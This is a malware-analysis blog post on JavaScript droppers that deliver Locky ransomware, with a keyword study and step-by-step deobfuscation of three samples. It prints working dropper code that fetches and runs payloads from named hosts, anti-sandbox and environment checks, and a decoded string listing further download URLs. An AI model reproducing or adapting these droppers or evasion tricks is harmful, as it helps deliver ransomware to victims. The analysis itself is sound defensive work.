Analysis on Locky dropper mechanisms

Blog.

Introduction

This analysis aims to identify common code structures and methods typically used in various droppers associated with Locky ransomware. It is based on a sample set of 2631 JavaScript samples identified as dropper scrips delivering Locky. The results are illustrated by examination of three samples.

Locky is a ransomware first seen in 2016 and distributed through the Necurs botnet primarily through email spam campaigns. These emails make use of social engineering tricks such as stating the document contains payment or delivery details and pretending to be a trusted party, tempting the user into opening the attached document. The document contains text persuading the user to enable macros in order to display the content of the document correctly, accompanied by some gibberish and a macro:

The macro is actually a dropper script that once enabled will attempt to obtain and execute remote code (the payload). The payload encrypts all accessible files with a strong encryption key, removes backups and leaves behind a ransom note; instructing the user how to pay the Bitcoin equivalent of around $1000 in return for restoring the files:

The scope of this analysis will be limited to the dropper scripts and their role in the infection chain. I started off by comparing words in the code of the JavaScript dropper samples with those in a set of 1160 benign JavaScript samples in order to identify words that exclusively and commonly appeared in the droppers. The result contained many common variable names and other meaningless words, but also revealed which keywords are characteristic for our samples. These are the words that seemed most relevant:

eval (1742), fromcharcode (1270), charcodeat (1136), wscript (692), write (628), activexobject (622), run (549), send (524), responsetext (427), request(391), msxml2(336), status (316), cc_on (303), stream (277), createobject (234).

This gives us an idea what to look out for, and we will see why these words are important in the following examples.

The smallest sample

The smallest sample (464 bytes) in our sample set is this one-liner:

var z1 = "Msxml2.XMLHTTP"; var m = "zZMD8RQuYDxvBs5l648f_j44Zo9xCdFncmnVmwekzmU6DfGQKPHKeT1ri5mKZ37ggb8bSVqA5ho5OZRl0"; var x = new
Array("ektamacha.com","singoutloudkaraoke.com"); var z4 = "a"; for (var i=0; i<x.length; i++) { var e = new ActiveXObject(z1); try {
e.open("GET", "http://"+x[i]+"/counter/?"+m, false); e.send(); if (e.status == 200) { var z3 = e.responseText; var z3 = z3.split(m); var
z3 = z3.join(z4); eval(z3); break; }; } catch(e) { }; };

This code is quite inconvenient to read, which is the first indicator of maliciousness. Almost all our dropper scripts are stripped from all styling and indentation in an attempt to obfuscate its content. The first thing we want to do in order to make the code more readable is beautifying it. I used https://beautifier.io/ for beautifying the code throughout this post. The beautified code looks like this:

var z1 = "Msxml2.XMLHTTP";
var m = "zZMD8RQuYDxvBs5l648f_j44Zo9xCdFncmnVmwekzmU6DfGQKPHKeT1ri5mKZ37ggb8bSVqA5ho5OZRl0";
var x = new Array("ektamacha.com", "singoutloudkaraoke.com");
var z4 = "a";
for (var i = 0; i < x.length; i++) {
    var e = new ActiveXObject(z1);
    try {
        e.open("GET", "http://" + x[i] + "/counter/?" + m, false);
        e.send();
        if (e.status == 200) {
            var z3 = e.responseText;
            var z3 = z3.split(m);
            var z3 = z3.join(z4);
            eval(z3);
            break;
        };
    } catch (e) {};
};

The variable names do not make any sense, which is another very common way of obfuscating code. Let’s rename the variables, referring to what they contain for more clarity. After doing so, we end up with:

var xmlhttpObject = "Msxml2.XMLHTTP";
var urlLastPart = "zZMD8RQuYDxvBs5l648f_j44Zo9xCdFncmnVmwekzmU6DfGQKPHKeT1ri5mKZ37ggb8bSVqA5ho5OZRl0";
var domains = new Array("ektamacha.com", "singoutloudkaraoke.com");
var joinSeperator = "a"
for (var i = 0; i < domains.length; i++) {
    var actXobj = new ActiveXObject(xmlhttpObject);
    try {
        actXobj.open("GET", "http://" + x[i] + "/counter/?" + urlLastPart, false);
        actXobj.send();
        if (actXobj.status == 200) {
            var responsetext = actXobj.responseText;
            var responsetext = responsetext.split(urlLastPart);
            var payload = responsetext.join(joinSeperator);
            eval(payload);
            break;
        };
    } catch (actXobj) {};
};

It becomes apparent that this script is indeed a fully-functioning dropper script as we can identify functions to download and execute additional code obtained from one of the hardcoded URLs. The code is barely obfuscated and demonstrates how little code is needed to be able to execute remote code and fulfill the dropper’s role in the infection chain. Do note that the dropper contains no encryption or otherwise directly harmful instructions at all and the outcome of running the script is determined by the additional code downloaded from one of the compromised servers. This type of dropper has been thoroughly analyzed and is widely detected. At the time of writing, none of its URLs are responsive, making this sample a dud.

Usually, more obfuscation is applied in our samples. This makes the code much longer and harder to understand through static analysis. However, every dropper tries to achieve the same goals as the example above, hence contains similar code after deobfuscation. We can see how even our smallest sample takes further measures to hinder analysis. The URLs are split up into several parts to avoid string matching and the payload has been obfuscated by join and split to become invalid JavaScript code. In order to run the payload that is retrieved from one of the URLs and deobfuscated the eval function is used. The eval function accepts a string and evaluates it as JavaScript. It is commonly used among our samples for executing the dynamically constructed instructions required to complete the infection.

Some evasion and obfuscation

Let’s take a look at which features this larger script has to add to that (after beautifying and renaming the variables in it):

var atWindows = false;
var createObjStr = "CreateObject";
var shell = function createShell() {
        return WScript[createObjStr]("WScript" + ".Shell");
    }(),
    dummyInt = 11;
var xmlHttpStr = "MSXML2.XMLHTTP";
var intZero = 0;

function runFunc(arg1) {
    shell["Run"](arg1, intZero, intZero);
};

function xmlObjFunc() {
    return xmlHttpStr;
};

function difference(int1, int2) {
    return int1 - int2;
};

function createObjStr() {
    return createObjStr;
};
/*@cc_on
  @if (@_win32 || @_win64)
    atWindows = true;
  @end
@*/
if (atWindows) {
    var openStr = "";

    function sleepTime() {
        return 23;
    };

    function sleepTimeDiff() {
        var dateTime = new this["Date"]();
        var time1 = dateTime["getUTCMilliseconds"]();
        WScript["Sleep"](sleepTime());
        var dateTime = new this["Date"]();
        var time2 = dateTime["getUTCMilliseconds"]();
        WScript["Sleep"](sleepTime());
        var dateTime = new this["Date"]();
        var time3 = dateTime["getUTCMilliseconds"]();
        var diff1 = "";
        diff1 = difference(time2, time1);
        var diff2 = "";
        diff2 = difference(time3, time2);
        openStr = "open";
        return difference(diff1, diff2);
    }

    var timeDiffFound = false;
    for (var i = intZero; i < sleepTime() * 1; i++) {
        if (sleepTimeDiff() != intZero) {
            timeDiffFound = true;
            diff2 = "21" + 231 - diff1 * diff2;
            break;
        }
    }

    function timeDiffBool() {
        return (timeDiffFound == true) ? 1 : intZero;
    };
    if (timeDiffFound && timeDiffBool()) {
        function exePathFunc() {
            return shell["ExpandEnvironmentStrings"]("%TEMP%/") + "KifarfRIw.exe";
        };
        xmlHttpObj = xmlObjFunc()
        agent = WScript[createObjStr](xmlHttpObj);
        var int = 1;
        do {
            for (; int;) {
                try {
                    if (int == 1) {
                        agent[openStr]("GET", "<Live URL Removed>", false);
                        agent["send"]();
                        sleepStr = "Sleep";
                        int = 2;
                    }
                    WScript[sleepStr](sleepTime() + 120);
                    if (agent["readystate"] < 4) continue;
                    int = intZero;

                    function listFunc(arg2) {
                        var list = (1, 2, 3, 4, 5, arg2);
                        return list;
                    };
                    stream = WScript[createObjStr()]("ADODB.Stream");
                    xmlHttpObj = stream;
                    xmlHttpObj[openStr]();
                    xmlHttpObj["type"] = listFunc(1);
                    xmlHttpObj["write"](agent["ResponseBody"]);
                    stream["position"] = listFunc(intZero);
                    xmlHttpObj["SaveToFile"](exePathFunc(), 2);
                    stream["close"]();
                    exePath = exePathFunc();
                    runFunc(exePath);
                } catch (dummy) {};
            };
        } while (int);
    }
}

The code involves steps, functions, and control flows that seem abundant or illogical. Such added code is common among our samples and is done in order to further obstruct static analysis by making the method of operation of the script less apparent (without altering it).

This sample uses WScript’s sleep function to sleep 23 seconds up to 23 times, and compares the millisecond part of the time before and after the sleep. If the sleep gets executed on a real machine, a small variation in actual time slept (in ms) is to be expected. However, if such a script would be analysed in a sandbox environment the sleep commands might get skipped to avoid long waiting time prior to the script doing anything (a common anti-sandboxing technique). In this case, skipping the sleep commands would cause the difference in amount of time slept to be exactly 0 ms without any variation, telling the script that this this is not a real machine.

We also see /*@cc_on making an appearance in the code. This is a conditional compilation statement, which exclusively gets compiled if the browser is Internet Explorer and is used in this case to verify that this is the case. Only when the machine is found to be “real” and the browser is Internet Explorer the dropper section of the script will execute. Otherwise, the script will close in an attempt to avoid detection. These kind of countermeasures against dynamic analysis are known as evasion techniques, and are the dynamic equivalent of obfuscation.

The dropper section at the end of this script bears close resemblance to the script in the previous example, but this dropper utilizes a WScript shell instead of an ActiveXObject for the dropper features. It also saves the payload to disk as an executable and runs it with WScript’s Run, instead of storing it into a variable and using eval for executing the payload.

For further dynamic and behavioral analysis, we should run the sample through Cuckoo, which will provide a detailed report about what happens when we run the script. Here’s an overview of the signatures that triggered for this sample:

I highlighted the signatures which indicate a dropper feature, and combined we can recognize full dropper capability. Cuckoo’s report also provides the URL we identified through static analysis and shows that the scrips utilizes WScript to download, save, and run an executable. The report will also present the network traffic, dropped executable, and behavior of subsequent infection stages. In this case, the dropper is able to communicate with the server to obtain an executable and run it, fulfilling its role in the infection chain.

A sample containing another layer of code

The following script looks very different from the previous ones, and its dropper capabilities are not immediately apparent. Its size is ~450KB, which is about 1000 times larger than our first sample. It contains one function, a huge array of two to three character strings, a dictionary, a for-loop, and an eval. Besides that, it contains a lot of junk in a try-catch statement and a full copy of this entire code. However, it doesn’t contain any signs of the suspicious strings we have found by parsing, except for one eval. Besides its use in executing the payload, it remains a very popular and powerful tool to execute code generated at runtime. Here’s what the code looks like after some deobfuscation and renaming. I also removed the junk code, the copy, and most of the entries in the array:

var array = new Array("Jm", "Eu", "Ov", "Yi", "Ho", "EPs", "Qi", "Ov", "VAg", "Zs", "VTc", "CMr", "Wq", "Nv", "VAg", "VAg", "VAg", "VAg", "Kh", "Nv0", "KYf", "VAg", "Df", "Nr", "ZBy", "EPs", "WUh", "Eu", "El", "Kr", "Jm", "Eu", "ZBy", "Ho", "El", "Kr", "VAg", "Vg", "VAg", "Ya", "BUn", "Va", "Ya", "Vi", "Ya", "Ya", "Vi", "Ya", "Yi", "Ya", "Vi", "Ya", "KYf", "Ya", "Vi", "Ya", "EPs", "Ya", "Vi", "Ya", "Fn", "Ho", "Ya", "Bu", "Nv", "VAg", "VAg", "VAg", "VAg", "Kh", "Nv0", "KYf", "VAg", "Df", "Yi", "VAg", "Vg", "VAg", "Ya", "Yr", "QMf", "Va", "WUh", "Ya", "Vi", "Ya", "ZBy", "Ho", "Ya", "Vi", "Ya", "Ya", "Vi", "Ya", "Zs", "Ao", "Ya", "Vi", "Ya", "YDx", "Qi", "Qi", "Ho", "Yr", "QMf", "Yr", "Yr", "ZBy", "Ya", "Vi", "Ya", "WUh", "ZBy", "Ho", "Zs", "Ao", "AJl", "WZw", "Yr", "Yr", "Yi", "Ao", "El", "Fe", "Ya", "Vi", "Ya", "Zs", "Jf", "Ya", "Vi", "Ya", "Zs", "Ya", "Bu", "Nv", "VAg", "VAg", "VAg", "VAg", "Ln", "OJn", "QCc", "Yi", "Yi", "Df", "Qi", "Ov", "VAg", "Kh", "Nv0", "KYf", "VAg", "Df", "AJa", "EJf", "AJa", "Ai", "EJf", "Ho", "Ai", "EJf", "Ho", "Ai", "Kr", "Ho", "VAg", "Vg", "VAg", "Ho", "Nr", "EPs", "ZBy", "CXz", "Df", "Nr", "ZBy", "EPs", "WUh", "Eu", "El", "Kr", "Jm", "Eu", "ZBy", "Ho", "El", "Kr", "Ny", "CXz", "Ya", "We", "KYf", "Zs", "Ya", "Vi", "Ya", "Nv0", "Ho", "Zs", "Cz", "Hy", "Ya", "Vi", "Ya", "Cy", "Zs", "Yi", "Ho", "Ya", "Ny", "VTc", "Df", "Nr", "ZBy", "EPs", "WUh", "Eu", "El", "Kr", "Jm", "Eu", "ZBy", "Ho", "El", "Kr", "Vi", "Ya", "Fe", "Va", "Nr", "Zs", "Ya", "Vi", "Ya", "UZb", "UZb", "Ya", "CMr", "Bu", "VAg", "QCc", "OJn", "Ln", "Nv", "VAg", "VAg", "VAg", "VAg", "Kh", "Nv0", "KYf", "VAg", "Df", "AJa", "EJf", "Kr", "Ai", "ZBy", "El", "MOw", "Jm", "Kr", "VAg", "Vg", "VAg", "Df", "AJa", "EJf", "AJa", "Ai", "EJf", "Ho", "Ai", "EJf", "Ho", "Ai", "Kr", "Ho", "CXz", "Ya", "Ri", "Ov", "Ya", "Vi", "Ya", "Kh", "EPs", "Ya", "Vi", "Ya", "Ya", "Vi", "Ya", "KYf", "Qi", "Ov", "Ya", "Vi", "Ya", "Ao", "Zs", "Ov", "Ya", "Vi", "Ya", "Ho", "Ya", "Ny", "VTc", "Ya", "Va", "QZt", "Ya", "Vi", "Ya", "Va", "Ya", "Vi", "Ya", "RUq", "Ya", "Vi", "Ya", "Ri", "Ya", "Vi", "Ya", "FGr", "Ya", "CMr", "Bu", "Nv", "VAg", "VAg", "VAg", "VAg", "Kh", "Nv0", "KYf", "VAg", "Df", "El", "El", "VAg", "Vg", "VAg", "Df", "AJa", "EJf", "Kr", "Ai", "ZBy", "El", "MOw", "Jm", "Kr", "VTc", "Ya", "We", "Qi", "Ao", "Ya", "Vi", "Ya", "Va", "Ya", "Vi", "Ya", "Ya", "Vi", "Ya", "Fn", "Zs", "Ya", "Vi", "Ya", "Yi", "Ya", "CMr", "Bu", "Nv", "VAg", "VAg", "VAg", "VAg", "EPs", "Jm", "VAg", "VTc", "Df", "El", "El", "VAg", "Vg", "Vg", "VAg", "Df", "Yi", "CMr", "VAg", "Wq", "KYf", "Zs", "Ho", "Eu", "KYf", "Ov", "VAg", "QTk", "Bu", "Po", "Nv", "Vb", "Zs", "UZb", "ZBy", "Zs", "VAg", "Wq", "Ho", "Nr", "EPs", "ZBy", "CXz", "Ho", "Nr", "EPs", "ZBy", "CXz", "Ya", "Df", "Nr", "ZBy", "EPs", "WUh", "Eu", "El", "Kr", "Jm", "Eu", "ZBy", "Ho", "El", "Kr", "Ya", "Ny", "Ny", "CXz", "Ya", "Ol", "Eu", "EPs", "Ya", "Vi", "Ya", "Ya", "Vi", "Ya", "Ho", "Ya", "Ny", "VTc", "QTk", "CMr", "Bu", "Po", "Bu", "Nv", "Po", "Nv", "Zs", "VTc", "CMr", "Bu", "Nv", "Nv", "Kh", "Nv0", "KYf", "VAg", "EUf", "Nv0", "VAg", "Vg", "VAg", "Ya", "Cy", "Qi", "EPs", "Ov", "Ya", "VAg", "Vi", "VAg", "Ya", "Ya", "Bu", "Qn", "Nv", "Kh", "Nv0", "KYf", "VAg", "HFs", "Rv", "Bs", "VAg", "Vg", "VAg", <...>);

function verifyComSpec() {
    var agent = "WScript";
    var cmdPath = "\%SystemRoot\%\\system32\\cmd.exe";
    var shell = this[agent]["CreateObject"](agent + ".Shell");
    var system = shell["Environment"]("SYSTEM");
    var cli = system("ComSpec");
    if (cli == cmdPath) {
        return 1;
    } else {
        this[this["agent"]]["Quit"](1);
    };
}
verifyComSpec();

var code = '';

     var dictionary = {"Nv": "\x0a", "Qn": "\x0d", "HFs": "D", "Sb": "H", "EUf": "L", "XRe": "P", "RUq": "T", "VYz": "X", "Vb": "\x09", "El": "d", "Nr": "h", "UZb": "l", "Fn": "p", "Ho": "t", "Po": "\x7d", "Im": "\x7c", "Wq": "\x7b", "Ln": "\x2f", "MYd": "\x2d", "Fe": "\x2e", "Vi": "\x2b", "Zs0": "\x2c", "OJn": "\x2a", "We": "C", "Rv": "G", "Ng": "K", "Cz": "O", "Bp": "\x26", "Va": "S", "QMf": "\x25", "Ya": "\x22", "BUn": "W", "Jf": "x", "VTc": "\x28", "CMr": "\x29", "Yi": "c", "Kr": "g", "PDx": "k", "Qi": "o", "ZBy": "s", "Ld": "w", "VAg": "\x20", "Zf": "\x21", "QTk": "\x31", "Su": "\x30", "AJl": "\x33", "WZw": "\x32", "MOw": "\x35", "SQv": "\x34", "EJf": "\x37", "Ai": "\x36", "Wc": "\x39", "AJa": "\x38", "RKf": "\x3a", "BXq": "\x3c", "Bu": "\x3b", "Ku": "\x3e", "Vg": "\x3d", "Nq": "F", "KOl": "J", "Vr": "N", "YDx": "R", "Sc": "V", "Yc": "Z", "Hy": "b", "QCc": "\x40", "Jm": "f", "Cy": "j", "Ov": "n", "KYf": "r", "Kh": "v", "Bs": "z", "VTu": "B", "Eu": "u", "DBm": "A", "Ri": "E", "AIg": "I", "FGr": "M", "Ol": "Q", "HOs": "U", "QZt": "Y", "Nv0": "a", "Zs": "e", "EPs": "i", "Ao": "m", "ZJo": "q", "Df": "\x5f", "MAp": "\x5e", "Ny": "\x5d", "Yr": "\x5c", "CXz": "\x5b", "WUh": "y"};


var i;
for (i = 0; i < array["length"]; i++)
{
    code += dictionary[array[i]];
}
eval(code);

try {<Loads of whitespaces and gibberish>}
catch{}

<Entire copy of all of the above>

Each entry in the array represents a character of a new piece of JavaScript code. The for-loop then uses the dictionary to translate the array and concatenate it into a long string, which is then passed on to eval. The generated string is way too long to construct by hand, which is why we want to run the code and use its own algorithms to reconstruct this string for us. Instead of executing the final string as JavaScript through eval, we only want to see its content. This is easily achieved by replacing “eval(code)” with “console.log(code)” in the code. We can then copy it into a Chrome console (opened with F12 in a Chrome browser) and run it. Unfortunately, the script produces an error in the function verifyComSpec, preventing us from obtaining the string. verifyComSpec uses a WScript shell to compare the path of the default command line interpreter with “%SystemRoot%\system32\cmd.exe”. This function ensures that the rest of the code will only execute if the meets the environmental requirements, which helps in remaining stealthy and hindering analysis. This script is unable to access WScript through the Chrome console, resulting in the error which prevents the remainder of the code from running. As this function does nothing for us other than potentially close the script or produce an error, we can simply remove the call to verifyComSpec to avoid this error and successfully extract the generated string containing JavaScript instructions:

This reveals the long and strongly obfuscated script, which consists of a section of variables containing short strings, integers in arrays, and a lot of obfuscated code. Although the obfuscation techniques are not very complex individually, completely deobfuscating this code is still quite time consuming due to the variety in and degree of obfuscation (namely on the integers) and code complexity. Luckily the strings held by the variables declared at the start of this second layer of code are (inversely) ordered, and will get concatenated in that way throughout the rest of the script to produce the required strings for the dropper functions. If we directly concatenate all the strings that way, we obtain the following string:

1123132iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiilengthiiiiiiiiiiiilengthasfasdfasfdiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiilength437http://darkestzone2.wang/7b5hfthttp://bookinghotworld.ws/18p0no4ehttp://canonsupervideo4k.ws/54m7lt3http://videoconvertermac.in/ofyvi52bhttp://listofbuyersus.co.in/jos0kCreateObjectWScript.Shell%TEMP%/yCUaJgsq.dllSystemPROCESSOR_ARCHITECTUREamd64%SystemRoot%\\SysWOW64\\rundll32.exe%SystemRoot%\\system32\\rundll32.exefloorMSXML2.XMLHTTPWinHttp.WinHttpRequest.5.1lengthCreateObjectScripting.FileSystemObjectFileExists.txtFileExistsWScriptQuitlengthopenGETlengthsendSleepCreateObjectADODB.StreamopentypewriteResponseBodypositionSaveToFilecloselengthlengthRun,qwerty3SleeplengthlengthlengthlengthlengthsplicelengthlengthCreateObjectADODB.StreamtypeCharsetopenLoadFromFileReadTextcloselengthcharCodeAtpushCreateObjectADODB.StreamtypeCharsetopenwriteTextSaveToFilecloselengthfromCharCodejoin

This string contains many keywords that we associated with dropper features throughout this analysis. Even though the generated code contains a lot more complicated and heavily obfuscated code, the intentions of this script are clear. Despite the original code only containing one suspicious word directly, it was able to construct all other keywords required to establish dropper features. To make matters worse, http://jsfuck.com provides this example: eval("<code>") === []["filter"]["constructor"]("<code>")(), demonstrating that even eval itself can be obfuscated. This means the absence of any suspicious words in a particular script is not enough to establish it is benign.

An interesting slice of this string that we haven’t seen before is “PROCESSOR_ARCHITECTURE”. Tracing the variables containing this string reveals it is used to locate rundll32.exe for compatibility with the AMD64 processor architecture. Locating it is necessary as this script saves the payload to disk as a DLL and runs it with rundll32.exe, rather than using eval or WScript’s Run like the droppers in the previous examples.

Conclusion

In order for a script to establish dropper capabilities and play its part in the infection chain, it needs to contain:

Only very little code is needed in order to establish the actual dropper features, and the vast majority of code throughout the droppers in our sample set is dedicated to hindering analysis. This code usually consists of techniques to hide the dropper features and other suspicious or sensitive information from analysis. These techniques can be further divided into two categories:

The obfuscation usually makes analysing by hand very time consuming. Cuckoo is able to automatically analyse these samples and can produce and verify the findings we obtained through static analysis. While static antivirus engines are able to identify a sample as malicious and specify its family, this information does not go a long way towards attribution or the discovery of new indicators of compromise. In contrast, Cuckoo and Triage_ will provide a wealth of information about the workings of and specific actions undertaken by the sample. They are able to follow and map the entire chain of infection, which is crucial in understanding the role the droppers play in it.

A visual representation of the characteristic code structure of these droppers

You may also like: